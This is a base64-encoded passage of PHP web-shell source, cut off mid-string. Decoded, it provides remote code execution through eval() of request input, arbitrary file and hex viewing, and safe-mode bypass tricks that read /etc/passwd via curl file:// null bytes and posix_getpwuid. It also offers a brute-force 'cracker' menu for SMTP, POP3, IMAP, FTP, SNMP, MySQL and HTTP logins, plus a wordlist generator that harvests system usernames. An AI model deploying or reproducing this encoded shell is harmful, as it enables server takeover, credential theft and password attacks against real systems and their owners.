L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPjxpbnB1dCB0eXBlPXRleHQgdmFsdWU9XCIiO2lmICghZW1wdHkoJF9SRVFVRVNUWydwYXNzJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydwYXNzJ10pO2Vsc2UgZWNobyAiMTIzNDU2IjsgZWNobyAiXCIgbmFtZT1wYXNTIHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPkRhdGFiYXNlOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT1cIiI7aWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2RiJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydkYiddKTsgZWNobyAiXCIgbmFtZT1kQiBzaXplPTM1PjwvdGQ+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+UXVlcnk6PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj48dGV4dGFyZWEgbmFtZT1xdWVyWSByb3dzPTUgY29scz0yNz4iO2lmICghZW1wdHkoJF9SRVFVRVNUWydxdWVyeSddKSkgZWNobyBodG1sc3BlY2lhbGNoYXJzKCgkX1JFUVVFU1RbJ3F1ZXJ5J10pKTtlbHNlIGVjaG8gIlNIT1cgREFUQUJBU0VTIjsgZWNobyAiPC90ZXh0YXJlYT48L3RkPjwvdHI+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj48L3RkPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiIGFsaWduPXJpZ2h0PiRoY3dkPGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9XCJTdWJtaXQgUXVlcnlcIj48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9jZW50ZXI+IjsKfQpmdW5jdGlvbiBwaHBldmFMKCl7Cmdsb2JhbCAkdCwkaGN3ZDsKaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2NvZGUnXSkpewplY2hvICI8Y2VudGVyPjx0ZXh0YXJlYSByb3dzPVwiMTBcIiBjb2xzPVwiNjRcIj4iOwokY29kZSA9IHN0cl9yZXBsYWNlKCI8P3BocCIsIiIsJF9SRVFVRVNUWydjb2RlJ10pOwokY29kZSA9IHN0cl9yZXBsYWNlKCI8PyIsIiIsJGNvZGUpOwokY29kZSA9IHN0cl9yZXBsYWNlKCI/PiIsIiIsJGNvZGUpOwpodG1sc3BlY2lhbGNoYXJzKGV2YWwoJGNvZGUpKTsKZWNobyAiPC90ZXh0YXJlYT48L2NlbnRlcj48YnI+IjsKfQplY2hvICI8Y2VudGVyPiR7dH1FdmFsZXI6PC90ZD48dGQgYmdjb2xvcj1cIiMzMzMzMzNcIj48L3RkPjwvdHI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPkNvZGVzOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PHRleHRhcmVhIHJvd3M9XCIxMFwiIG5hbWU9XCJjb2RlXCIgY29scz1cIjY0XCI+IjtpZighZW1wdHkoJF9SRVFVRVNUWydjb2RlJ10pKWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1JFUVVFU1RbJ2NvZGUnXSk7ZWNobyAiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIiBhbGlnbj1yaWdodD4kaGN3ZDxpbnB1dCBjbGFzcz1idXR0b25zIHR5cGU9c3VibWl0IHZhbHVlPUV4ZWN1dGU+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvY2VudGVyPiI7Cn0KZnVuY3Rpb24gd2hvaVMoKXsKZ2xvYmFsICR0LCRoY3dkOwppZiAoIWVtcHR5KCRfUkVRVUVTVFsnc2VydmVyJ10pICYmICFlbXB0eSgkX1JFUVVFU1RbJ2RvbWFpbiddKSl7CiRzZXJ2ZXIgPSRfUkVRVUVTVFsnc2VydmVyJ107CiRkb21haW49JF9SRVFVRVNUWydkb21haW4nXS4iXHJcbiI7CiRzZXI9ZnNvY2tvcGVuKCRzZXJ2ZXIsNDMsJGVuLCRlcyw1KTsKZnB1dHMoJHNlciwkZG9tYWluKTsKZWNobyAiPHByZT4iOwp3aGlsZSghZmVvZigkc2VyKSllY2hvIGZnZXRzKCRzZXIpOwplY2hvICI8L3ByZT4iOwpmY2xvc2UoJHNlcik7Cn0KZWxzZXsKZWNobyAiPGNlbnRlcj4ke3R9V2hvaXM6PC90ZD48dGQgYmdjb2xvcj1cIiMzMzMzMzNcIj48L3RkPjwvdHI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlNlcnZlcjo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPjxpbnB1dCB0eXBlPXRleHQgdmFsdWU9XCIiO2lmICghZW1wdHkoJF9SRVFVRVNUWydzZXJ2ZXInXSkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1JFUVVFU1RbJ3NlcnZlciddKTtlbHNlIGVjaG8gIndob2lzLmdlZWt0b29scy5jb20iOyBlY2hvICJcIiBuYW1lPXNlcnZlciBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj5kb21haW46PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZG9tYWluIHZhbHVlPVwiIjtpZiAoIWVtcHR5KCRfUkVRVUVTVFsnZG9tYWluJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydkb21haW4nXSk7IGVsc2UgZWNobyAiZ29vZ2xlLmNvbSI7IGVjaG8gICJcIiBzaXplPTM1PjwvdGQ+PHRyPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCIgYWxpZ249cmlnaHQ+JGhjd2Q8aW5wdXQgY2xhc3M9YnV0dG9ucyB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkRvXCI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvY2VudGVyPiI7Cn0KfQpmdW5jdGlvbiBoZXh2aWVXKCl7CmlmICghZW1wdHkoJF9SRVFVRVNUWydmaWxFJ10pKXsKJGYgPSAkX1JFUVVFU1RbJ2ZpbEUnXTsKZWNobyAiPHRhYmxlIGJvcmRlcj0wIHN0eWxlPVwiYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZVwiIGJvcmRlcmNvbG9yPVwiIzI4MjgyOFwiIHdpZHRoPVwiMTAwJVwiPjx0ZCB3aWR0aD1cIjEwJVwiIGJnY29sb3I9XCIjMjgyODI4XCI+T2Zmc2V0PC90ZD48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzI4MjgyOFwiPkhleDwvdGQ+PHRkIHdpZHRoPVwiMjUlXCIgYmdjb2xvcj1cIiMyODI4MjhcIj48L3RkPjx0ZCB3aWR0aD1cIjQwJVwiIGJnY29sb3I9XCIjMjgyODI4XCI+QVNDSUk8L3RkPjwvdHI+IjsKJGZpbGUgPSBmb3BlbigkZiwiciIpOwokaT0gLTE7CndoaWxlICghZmVvZigkZmlsZSkpIHsKJGxuPScnOwokaSsrOwplY2hvICI8dHI+PHRkIHdpZHRoPVwiMTAlXCIgYmdjb2xvcj1cIiMiOwppZiAoJGkgJSAyPT0wKSBlY2hvICI2NjY2NjYiO2Vsc2UgZWNobyAiODA4MDgwIjsKZWNobyAiXCI+IjtlY2hvIHN0cl9yZXBlYXQoIjAiLCg4LXN0cmxlbigkaSAqIDE2KSkpLiRpICogMTY7ZWNobyAiPC90ZD4iOwplY2hvICI8dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIyI7CmlmICgkaSAlIDI9PTApIGVjaG8gIjY2NjY2NiI7ZWxzZSBlY2hvICI4MDgwODAiOyAKZWNobyAiXCI+IjsKZm9yICgkaj0wOyRqPD03OyRqKyspewppZiAoIWZlb2YoJGZpbGUpKXsKJHRtcCA9IHN0cnRvdXBwZXIoZGVjaGV4KG9yZChmZ2V0YygkZmlsZSkpKSk7CmlmIChzdHJsZW4oJHRtcCk9PTEpICR0bXAgPSAiMCIuJHRtcDsKZWNobyAkdG1wLiIgIjsKJGxuLj0kdG1wOwp9Cn0KZWNobyAiPC90ZD48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIyI7CmlmICgkaSAlIDI9PTApIGVjaG8gIjY2NjY2NiI7ZWxzZSBlY2hvICI4MDgwODAiOyAKZWNobyAiXCI+IjsKZm9yICgkaj03OyRqPD0xNDskaisrKXsKaWYgKCFmZW9mKCRmaWxlKSl7CiR0bXAgPSBzdHJ0b3VwcGVyKGRlY2hleChvcmQoZmdldGMoJGZpbGUpKSkpOwppZiAoc3RybGVuKCR0bXApPT0xKSAkdG1wID0gIjAiLiR0bXA7CmVjaG8gJHRtcC4iICI7CiRsbi49JHRtcDsKfQp9CmVjaG8gIjwvdGQ+PHRkIHdpZHRoPVwiNDAlXCIgYmdjb2xvcj1cIiMiOwppZiAoJGkgJSAyPT0wKSBlY2hvICI2NjY2NjYiO2Vsc2UgZWNobyAiODA4MDgwIjsKZWNobyAiXCI+IjsKJG49MDskYXNjPSIiOyRjbz0wOwpmb3IgKCRrPTA7JGs8PTE2OyRrKyspewokY289aGV4ZGVjKHN1YnN0cigkbG4sJG4sMikpOwppZiAoKCRjbzw9MzEpfHwoKCRjbz49MTI3KSYmKCRjbzw9MTYwKSkpJGNvPTQ2OwokYXNjLj0gY2hyKCRjbyk7CiRuKz0yOwp9CmVjaG8gaHRtbHNwZWNpYWxjaGFycygkYXNjKTsKZWNobyAiPC90ZD48L3RyPiI7Cn0KfQpmY2xvc2UoJGZpbGUpOwplY2hvICI8L3RhYmxlPiI7Cn0KZnVuY3Rpb24gc2FmZW1vZEUoKXsKZ2xvYmFsICR3aW5kb3dzLCR0LCRoY3dkOwppZiAoIWVtcHR5KCRfUkVRVUVTVFsnZmlsZSddKSl7CiRpPTE7CmVjaG8gIjxwcmU+XG48Zm9udCBjb2xvcj1ncmVlbj5NZXRob2QgJGk6KGluaV9yZXN0b3JlKTwvZm9udD48Zm9udCBjb2xvcj1ibHVlPlxuIjsKaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpO2luaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKJHRtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRfUkVRVUVTVFsnZmlsZSddKTsKZWNobyAkdG1wOwokaSsrOwplY2hvICJcbjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj5NZXRob2QgJGk6KGNvcHkpPC9mb250Pjxmb250IGNvbG9yPWJsdWU+XG4iOwokdG1wPXRlbXBuYW0oIiIsImN4Iik7CmNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRfUkVRVUVTVFsnZmlsZSddLCAkdG1wKTsKJGZoID0gZm9wZW4oJHRtcCwgInIiKTsKJGRhdGEgPSBmcmVhZCgkZmgsIGZpbGVzaXplKCR0bXApKTsKZmNsb3NlKCRmaCk7CmVjaG8gJGRhdGE7CiRpKys7CmlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpewplY2hvICJcbjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj5NZXRob2QgJGk6KGN1cmxfaW5pdClbQV08L2ZvbnQ+PGZvbnQgY29sb3I9Ymx1ZT5cbiI7CiRmaCA9IEBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUkVRVUVTVFsnZmlsZSddLiIiKTsKJHRtcCA9IEBjdXJsX2V4ZWMoJGZoKTsKZWNobyAkdG1wOwokaSsrOwplY2hvICJcbjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj5NZXRob2QgJGk6KGN1cmxfaW5pdClbQl08L2ZvbnQ+PGZvbnQgY29sb3I9Ymx1ZT5cbiI7CiRpKys7CmlmKHN0cnN0cigkX1JFUVVFU1RbJ2ZpbGUnXSxESVJFQ1RPUllfU0VQQVJBVE9SKSkKJGNoID1jdXJsX2luaXQoImZpbGU6Ly8vIi4kX1JFUVVFU1RbJ2ZpbGUnXS4iXHgwMC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLl9fRklMRV9fKTsKZWxzZSAkY2ggPSBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUkVRVUVTVFsnZmlsZSddLiJceDAwIi5fX0ZJTEVfXyk7CmN1cmxfZXhlYygkY2gpOwp2YXJfZHVtcChjdXJsX2V4ZWMoJGNoKSk7Cn0KaWYoJF9SRVFVRVNUWydmaWxlJ10gPT0gIi9ldGMvcGFzc3dkIil7CmVjaG8gIlxuPC9mb250Pjxmb250IGNvbG9yPWdyZWVuPk1ldGhvZCAkaToocG9zaXgpPC9mb250Pjxmb250IGNvbG9yPWJsdWU+XG4iOwpmb3IoJHVpZD0wOyR1aWQ8OTk5OTk7JHVpZCsrKXsKJGg9cG9zaXhfZ2V0cHd1aWQoJHVpZCk7CmlmICghZW1wdHkoJGgpKWZvcmVhY2goJGggYXMgJHYpZWNobyAiJHY6Ijt9fQokaSsrOwplY2hvICI8L3ByZT48L2ZvbnQ+IjsKfQplY2hvICI8Y2VudGVyPiR7dH1BbnRpIFNhZmUtTW9kZTo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzMzMzMzM1wiPjwvdGQ+PC90cj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+RmlsZTo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPjxpbnB1dCB0eXBlPXRleHQgdmFsdWU9XCIiO2lmICghZW1wdHkoJF9SRVFVRVNUWydmaWxlJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydmaWxlJ10pO2Vsc2VpZighJHdpbmRvd3MpIGVjaG8gIi9ldGMvcGFzc3dkIjsgZWNobyAiXCIgbmFtZT1maWxlIHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48L3RkPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiIGFsaWduPXJpZ2h0PiRoY3dkPGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9XCJSZWFkXCI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvY2VudGVyPiI7Cn0KZnVuY3Rpb24gY3JhY2tlUigpewpnbG9iYWwgJGV0OwokY3dkID0gZ2V0Y3dkKCk7CmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIGJnY29sb3I9IzMzMzMzMz48dHI+PHRkPjxhIGhyZWY9XCIiLmhsaW5LKCJzZUM9aGMmd29ya2luZ2RpUj0kY3dkIikuIlwiPltIYXNoXTwvYT4gLSA8YSBocmVmPVwiIi5obGluSygic2VDPXNtdHAmd29ya2luZ2RpUj0kY3dkIikuIlwiPltTTVRQXTwvYT4gLSA8YSBocmVmPVwiIi5obGluSygic2VDPXBvcDMmd29ya2luZ2RpUj0kY3dkIikuIlwiPltQT1AzXTwvYT4gLSA8YSBocmVmPVwiIi5obGluSygic2VDPWltYXAmd29ya2luZ2RpUj0kY3dkIikuIlwiPltJTUFQXTwvYT4gLSA8YSBocmVmPVwiIi5obGluSygic2VDPWZ0cCZ3b3JraW5nZGlSPSRjd2QiKS4iXCI+W0ZUUF08L2E+IC0gPGEgaHJlZj1cIiIuaGxpbksoInNlQz1zbm1wJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj5bU05NUF08L2E+IC0gPGEgaHJlZj1cIiIuaGxpbksoInNlQz1zcWwmd29ya2luZ2RpUj0kY3dkIikuIlwiPltNeVNRTF08L2E+IC0gPGEgaHJlZj1cIiIuaGxpbksoInNlQz1mY3Imd29ya2luZ2RpUj0kY3dkIikuIlwiPltIVFRQIGZvcm1dPC9hPiAtIDxhIGhyZWY9XCIiLmhsaW5LKCJzZUM9YXV0aCZ3b3JraW5nZGlSPSRjd2QiKS4iXCI+W0hUVFAgQXV0aChiYXNpYyldPC9hPiAtIDxhIGhyZWY9XCIiLmhsaW5LKCJzZUM9ZGljJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj5bRGljdGlvbmFyeSBtYWtlcl08L2E+JGV0PC9jZW50ZXI+IjsKfQpmdW5jdGlvbiBkaWNtYWtlUigpewpnbG9iYWwgJGVycm9yYm94LCR3aW5kb3dzLCRmb290ZXIsJHQsJGV0LCRoY3dkOwppZiAoIWVtcHR5KCRfUkVRVUVTVFsnY29tYm8nXSkmJigkX1JFUVVFU1RbJ2NvbWJvJ109PTEpKSAkY29tYm89MSA7IGVsc2UgJGNvbWJvPTA7CmlmICghZW1wdHkoJF9SRVFVRVNUWydyYW5nZSddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydvdXRwdXQnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsnbWluJ10pICYmICFlbXB0eSgkX1JFUVVFU1RbJ21heCddKSl7CiRtaW4gPSAkX1JFUVVFU1RbJ21pbiddOwokbWF4ID0gJF9SRVFVRVNUWydtYXgnXTsKaWYoJG1heDwkbWluKWRpZSgkZXJyb3Jib3ggLiJCYWQgaW5wdXQhJGV0Ii4gJGZvb3Rlcik7CiRzID0kdz0iIjsKJG91dCA9ICRfUkVRVUVTVFsnb3V0cHV0J107CiRyID0gKCRfUkVRVUVTVFsncmFuZ2UnXT09J2EnICk/J2EnOidBJzsKaWYgKCRfUkVRVUVTVFsncmFuZ2UnXT09MCkgJHI9MDsKZm9yKCRpPTA7JGk8JG1pbjskaSsrKSAkcy49JHI7CiRkaWMgPSBmb3Blbigkb3V0LCdhJyk7CmlmKGlzX25hbigkcikpewp3aGlsZShzdHJsZW4oJHMpPD0kbWF4KXsKJHcgPSAkczsKaWYoJGNvbWJvKSR3PSIkdzokdyI7CmZ3cml0ZSgkZGljLCR3LiJcbiIpOwokcysrO30KfQplbHNlewp3aGlsZShzdHJsZW4oJHcpPD0kbWF4KXsKJHcgPShzdHJpbmcpc3RyX3JlcGVhdCgiMCIsKCRtaW4gLSBzdHJsZW4oJHMpKSkuJHM7CmlmKCRjb21ibykkdz0iJHc6JHciOwpmd3JpdGUoJGRpYywkdy4iXG4iKTsKJHMrKzt9Cn0KZmNsb3NlKCRkaWMpOwplY2hvICI8Zm9udCBjb2xvcj1ibHVlPkRvbmU8L2ZvbnQ+IjsKfQppZiAoIWVtcHR5KCRfUkVRVUVTVFsnaW5wdXQnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsnb3V0cHV0J10pKXsKJGlucHV0PWZvcGVuKCRfUkVRVUVTVFsnaW5wdXQnXSwncicpOwppZiAoISRpbnB1dCl7CmlmICgkd2luZG93cyllY2hvICRlcnJvcmJveC4gIlVuYWJsZSB0byByZWFkIGZyb20gIi5odG1sc3BlY2lhbGNoYXJzKCRfUkVRVUVTVFsnaW5wdXQnXSkgLiIkZXQ8YnI+IjsKZWxzZXsKJGlucHV0PWV4cGxvZGUoIlxuIixzaGVsTCgiY2F0ICRpbnB1dCIpKTsKJG91dHB1dD1mb3BlbigkX1JFUVVFU1RbJ291dHB1dCddLCd3Jyk7CmlmICgkb3V0cHV0KXsKZm9yZWFjaCAoJGlucHV0IGFzICRpbil7CiR1c2VyID0gJGluOwokdXNlciA9IHRyaW0oZmdldHMoJGluKSwiIFxuXHIiKTsKaWYgKCFzdHJzdHIoJHVzZXIsIjoiKSljb250aW51ZTsKJHVzZXI9c3Vic3RyKCR1c2VyLDAsKHN0cnBvcygkdXNlciwnOicpKSk7CmlmKCRjb21ibykgZndyaXRlKCRvdXRwdXQsJHVzZXIuIjoiLiR1c2VyLiJcbiIpOyBlbHNlIGZ3cml0ZSgkb3V0cHV0LCR1c2VyLiJcbiIpOwp9CmZjbG9zZSgkaW5wdXQpO2ZjbG9zZSgkb3V0cHV0KTsKZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5Eb25lPC9mb250PiI7Cn0KfQp9CmVsc2V7CiRvdXRwdXQ9Zm9wZW4oJF9SRVFVRVNUWydvdXRwdXQnXSwndycpOwppZiAoJG91dHB1dCl7CndoaWxlICghZmVvZigkaW5wdXQpKXsKJHVzZXIgPSB0cmltKGZnZXRzKCRpbnB1dCksIiBcblxyIik7CmlmICghc3Ryc3RyKCR1c2VyLCI6IikpY29udGludWU7CiR1c2VyPXN1YnN0cigkdXNlciwwLChzdHJwb3MoJHVzZXIsJzonKSkpOwppZigkY29tYm8pIGZ3cml0ZSgkb3V0cHV0LCR1c2VyLiI6Ii4kdXNlci4iXG4iKTsgZWxzZSBmd3JpdGUoJG91dHB1dCwkdXNlci4iXG4iKTsKfQpmY2xvc2UoJGlucHV0KTtmY2xvc2UoJG91dHB1dCk7CmVjaG8gIjxmb250IGNvbG9yPWJsdWU+RG9uZTwvZm9udD4iOwp9CmVsc2UgZWNobyAkZXJyb3Jib3guIiBVbmFibGUgdG8gd3JpdGUgZGF0YSB0byAiLmh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydpbnB1dCddKSAuIiRldDxicj4iOwp9Cn1lbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ3VybCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydvdXRwdXQnXSkpewokcmVzPWRvd25sb2FkaVQoJF9SRVFVRVNUWyd1cmwnXSwkX1JFUVVFU1RbJ291dHB1dCddKTsKaWYoJGNvbWJvICYmICRyZXMpewokZmlsZT1maWxlKCRfUkVRVUVTVFsnb3V0cHV0J10pOwokb3V0cHV0PWZvcGVuKCRfUkVRVUVTVFsnb3V0cHV0J10sJ3cnKTsKZm9yZWFjaCAoJGZpbGUgYXMgJHYpZndyaXRlKCRvdXRwdXQsIiR2OiR2XG4iKTsKZmNsb3NlKCRvdXRwdXQpOwp9CmVjaG8gIjxmb250IGNvbG9yPWJsdWU+RG9uZTwvZm9udD4iOwp9ZWxzZXsKJHRlbXA9d2hlcmVpc3RtUCgpOwplY2hvICI8Y2VudGVyPiR7dH1Xb3JkbGlzdCBnZW5lcmF0b3I6PC90ZD48dGQgYmdjb2xvcj1cIiMzMzMzMzNcIj48L3RkPjwvdHI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlJhbmdlOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PHNlbGVjdCBuYW1lPXJhbmdlPjxvcHRpb24gdmFsdWU9YT5hLXo8L29wdGlvbj48b3B0aW9uIHZhbHVlPVo+QS1aPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0wPjAtOTwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj5NaW4gbGVuZ2h0OjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PHNlbGVjdCBuYW1lPW1pbj48b3B0aW9uIHZhbHVlPTE+MTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Mj4yPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0zPjM8L29wdGlvbj48b3B0aW9uIHZhbHVlPTQ+NDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9NT41PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT02PjY8L29wdGlvbj48b3B0aW9uIHZhbHVlPTc+Nzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9OD44PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT05Pjk8L29wdGlvbj48b3B0aW9uIHZhbHVlPTEwPjEwPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPk1heCBsZW5naHQ6PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj48c2VsZWN0IG5hbWU9bWF4PjxvcHRpb24gdmFsdWU9Mj4yPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0zPjM8L29wdGlvbj48b3B0aW9uIHZhbHVlPTQ+NDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9NT41PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT02PjY8L29wdGlvbj48b3B0aW9uIHZhbHVlPTc+Nzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9OCBzZWxlY3RlZD44PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT05Pjk8L29wdGlvbj48b3B0aW9uIHZhbHVlPTEwPjEwPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0xMT4xMTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9MTI+MTI8L29wdGlvbj48b3B0aW9uIHZhbHVlPTEzPjEzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0xND4xNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9MTU+MTU8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjODA4MDgwXCI+T3V0cHV0OjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT1cIiR0ZW1wLy5kaWNcIiBuYW1lPW91dHB1dCBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj48L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9Y29tYm8gc3R5bGU9XCJib3JkZXItd2lkdGg6MXB4O2JhY2tncm91bmQtY29sb3I6IzY2NjY2NjtcIiB2YWx1ZT0xIGNoZWNrZWQ+Q29tYm8gc3R5bGUgb3V0cHV0PC90ZD48L3RyPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiPjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCIgYWxpZ249cmlnaHQ+JGhjd2Q8aW5wdXQgY2xhc3M9YnV0dG9ucyB0eXBlPXN1Ym1pdCB2YWx1ZT1NYWtlPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48YnI+JHt0fUdyYWIgZGljdGlvbmFyeTo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzMzMzMzM1wiPjwvdGQ+PC90cj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+R3JhYiBmcm9tOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT1cIi9ldGMvcGFzc3dkXCIgbmFtZT1pbnB1dCBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj5PdXRwdXQ6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48aW5wdXQgdHlwZT10ZXh0IHZhbHVlPVwiJHRlbXAvLmRpY1wiIG5hbWU9b3V0cHV0IHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggc3R5bGU9XCJib3JkZXItd2lkdGg6MXB4O2JhY2tncm91bmQtY29sb3I6IzY2NjY2NjtcIiBuYW1lPWNvbWJvIHZhbHVlPTEgY2hlY2tlZD5Db21ibyBzdHlsZSBvdXRwdXQ8L3RkPjwvdHI+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIiBhbGlnbj1yaWdodD4kaGN3ZDxpbnB1dCBjbGFzcz1idXR0b25zIHR5cGU9c3VibWl0IHZhbHVlPUdyYWI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjxicj4ke3R9RG93bmxvYWQgZGljdGlvbmFyeTo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzMzMzMzM1wiPjwvdGQ+PC90cj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+VVJMOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT1cImh0dHA6Ly92YnVydG9uLm5jc2EudWl1Yy5lZHUvd29yZGxpc3QudHh0XCIgbmFtZT11cmwgc2l6ZT0zNT48L